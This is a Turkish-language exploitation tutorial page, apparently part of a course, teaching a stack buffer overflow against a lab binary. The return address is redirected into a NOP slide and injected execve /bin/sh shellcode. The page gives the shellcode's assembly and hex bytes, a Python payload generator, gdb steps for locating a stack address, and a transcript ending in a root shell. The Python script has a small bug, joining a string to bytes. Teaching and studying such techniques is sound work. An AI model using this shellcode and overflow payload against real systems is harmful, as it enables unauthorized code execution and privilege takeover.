Skip to content

Latest commit

 

History

History
207 lines (187 loc) · 7.5 KB

0x1.md

File metadata and controls

207 lines (187 loc) · 7.5 KB

Hedefimiz

Bu bölüm için hedefimiz programın akışını değiştirerek bir shell çalıştırmak.

Kod analizi

Kodda bulunan zafiyet 0x0 bölümü ile aynı. Kodun tek farkı cant_get_here fonksiyonunu içermemesi. Ki hedefimiz artık bu fonksiyona erişmemizi gerektirmediğinden bu bizim için bir şey değiştirmiyor.

Exploit

Önceki 0x0 bölümünden farklı olarak burda amacımız kod akışını tamamı ile değiştirerek bir shell çalıştırmak. Fakat bunu nasıl yapabiliriz?

Diğer örnekte kod bizim için hazırdı ve tek yapmamız gereken dönüş adresini bu koda işaret edicek şekilde değiştirmekti. Fakat bu sefer elimizde hazır bir kod yok, dönüş adresini değiştirebilsek de bir shell çalıştıracak bir noktaya erişmemiz mümkün değil.

Ya da öyle mi? Programa kendi kodumuzu ekleyemiyeceğimizi kim söyledi ki!

Tanıştırıyım; shellcode!

Shellcode, bir zafiyetin exploitinde kullanılan küçük bir parça koda verilen isim. Genelde bu kod bir shell başaltığından (bash, sh vs.) bu isime sahiptir. Peki bu bizim ne işimize yarıyacak?

Bildiğiniz gibi stack üzerine yazma yapabiliyoruz, ve de dönüş adresini değiştirebiliyoruz. Bu durumda stack üzerine bir shellcode yerleştirip dönüş adresini bu shellcode'a işaret etcek şekilde değiştirerek istediğimiz shellcode'u çalıştırabiliriz.

Bu örnekte kullanacağımız shellcode exploit.db'den bir /bin/sh shellcode'u. Bu shellcode'un kaynak kodu aşağıdaki şekilde:

global _start
section .text
_start:
	xor rsi,rsi
	push rsi
	mov rdi,0x68732f2f6e69622f
	push rdi
	push rsp
	pop rdi
	push 59
	pop rax
	cdq
	syscall

Bu shellcode'u açıklamak için çok ileri gitmeyeceğim. Tek bilmeniz gereken 0x68732f2f6e69622f değerinin endianness'dan kaynaklı ters çevirilmiş /bin//sh olduğu (fazladan slash değeri 8 byte'a tamamlamak için). Ve 59 değeri de execve sistem çağrısının kodu.

Shellcode'u kendiniz derlemek için shellcode.s olarak kaydedin:

nasm -f elf64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode

Bu kodun hex haline ihtiyacımız var, ELF dosyasının parçası olan diğer bölümler ile ilgilenmiyoruz. Buna erişmek için:

objdump -d shellcode

Son olarak python kodunda kullanmak için shellcode'unuzu formatlayabilirsiniz:

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

NOP slide

Şimdi kritik bir soru, shellcode'unu nereye yerleştireceğiz? Hemen dönüş adresinden sonraki yere yerleştirip, dönüş adresini buraya işaret edicek şekilde değiştrebiliriz. Fakat burda şöyle bir sorun ortaya çıkıyor: stack adresi aynı olmak zorunda değil.

Birçok değişkene bağlı olarak stack adresi küçük farklar ile kayabilir. Bu değişkenlerden bir tanesi ortam değişkenleri. Ortam değişkenleri ve program argümanları, bellekde stack'den hemen önce yerleştirilir. Bu iki elemanın boyutuna bağlı olarak stack'in adresi aşağı ya da yukarı kayabilir. Bu da doğrudan stack üzerinde belirli bir adresi kullanan exploitimizi bozacaktır.

Bunu önlemek adına shellcode'umuzdan önce bir sürü nop komutunun (opcode \x90) bulunduğu NOP slide isimli bir bölüm yerleştireceğiz. nop komutu "No operation" anlamına gelir, yani bu komut herhangi birşey yapmadan sıradaki komuta geçiyor.

Daha sonra dönüş adresini NOP slide içinde bir adrese gelicek şekilde ayarlayacağız. Bu sayede ne olursa olsun en sonunda shellcode'una erişebileceğiz.

Bunu daha iyi anlamak adına NOP slide olmadan exploitimizi stack üzerinde canlandıralım:

=> 19: [dönüş adresi]
   20: [shellcode]
   21: [rastgele stack verisi]
   22: [rastgele stack verisi]
   ...

Bu örnekte dönüş adresimiz 20'ye işaret ediyor diyelim, shellcode başarılı ile çalışacaktır:

-> 19: [dönüş adresi]
=> 20: [shellcode]
   21: [rastgele stack verisi]
   22: [rastgele stack verisi]
   ...

Ancak stack adresinin küçük farklar ile değişmesi mümkün:

=> 17: [dönüş adresi]
   18: [shellcode]
   19: [rastgele stack verisi]
   20: [rastgele stack verisi]
   ...

Bu durumda exploitimiz aynı olduğundan yine 20'ye döneceğiz ama stack adresi değiştiğinden bu sefer shellcode'umuz çalışmayacaktır ve segfault ile programımız sonlanacaktır:

-> 17: [dönüş adresi]
   18: [shellcode]
   19: [rastgele stack verisi]
=> 20: [rastgele stack verisi]
   ...

NOP slide'in amacı da tam olarak bunu önlemek:

=> 19: [dönüş adresi]
   20: [nop]
   21: [nop]
   22: [nop]
   23: [nop]
   24: [shellcode]
   25: [rastgele stack verisi]
   26: [rastgele stack verisi]
   ...

NOP'a dönüş yaptıktan sonra kodumuz 24 adresinde olan shellcode'a kadar çalışacaktır.

-> 19: [dönüş adresi]
-> 20: [nop]
-> 21: [nop]
-> 22: [nop]
-> 23: [nop]
=> 24: [shellcode]
   25: [rastgele stack verisi]
   26: [rastgele stack verisi]
   ...

NOP slide olduğu durumunda az önceki küçük adres farkları sorun olmayacaktır:

-> 17: [dönüş adresi]
   18: [nop]
   19: [nop]
-> 20: [nop]
-> 21: [nop]
=> 22: [shellcode]
   23: [rastgele stack verisi]
   24: [rastgele stack verisi]
   ...

Hepsini birleştirmek

Tüm bu yeni şeyleri önceki exploitimiz ile birleştirebiliriz:

from struct import pack

filler  = b"A"*40
ret     = pack("<Q", 0x<stackden adres>) # dönüş adresi
nop     = b"\x90"*1000 # nop slide
shell   = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05\x90" # shellcode

f = open("/tmp/ex", "wb")
f.write(filler+ret+nop+shell+"\n")
f.close()

Tabiki exploitimizi tamamlamak için stack'den uygun bir adres lazım, bunun için programı gdb ile açıp scanf() çağrısından sonra bir break point yerleştirip stack'de dönüş adresinden sonra gelen nop slide civarında bir adres seçebiliriz:

python3 -c 'print("A"*40)' > /tmp/ex
gdb ./0x1.elf
set disassembly-flavor intel
disassemble main
break *0x000000000040116e # sizde adres farlı olabilir
run < /tmp/ex
x/24g $rsp

Bu örnekte ben dönüş adresinden biraz sonra gelen bir adres olan 0x7fffffffeaa0 adresini seçtim, sizin için bu adres farklı olabilir.

Bu adres ile exploiti çalıştıralım hadi:

python3 exploit.py
cat /tmp/ex | ./0x1.elf

Eğer doğru takip etiyseniz programınız çökmemesi lazım, ama aynı zamanda bir shell almıyacaksınız. Nasıl yani exploitimiz başarısız mı oldu? Başarısız olsaydı program segfault hatası alırdı, yani hayır exploitimiz başarılı. Sadece exploiti kullanırken küçük bir hata yaptık.

Bash'de | karakteri içeriği sağladıktan sonra stdin yanı standart girdi kanalını kapatıyor. Bundan kaynaklı olarak shellimiz çalışsada biz daha bir komut gönderemeden bash shelli sonlandırıyor. Bunu engellemek adına sadece stdin'i açık tutmamız lazım:

(cat /tmp/ex; echo; cat) | ./0x1.elf

Burda önce exploitimizi gönderiyoruz. Ardından scanf() çağrısının sonlanması adına bir yeni satır gönderiyoruz. Son olarak da cat komutunu bir parametre olmadan kullanarak shell'in stdin'i ile iletişim sağlıyoruz. Artık shell üzerinden komut gönderebiliriz!

Başarılı exploit ile aşağıdaki gibi bir çıktı almanız lazım:

root@o101:~/0x1# (cat /tmp/ex; echo; cat) | ./0x1.elf
Hello, what's your name?
Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
id
uid=0(root) gid=0(root) groups=0(root)

Önceki | Sonraki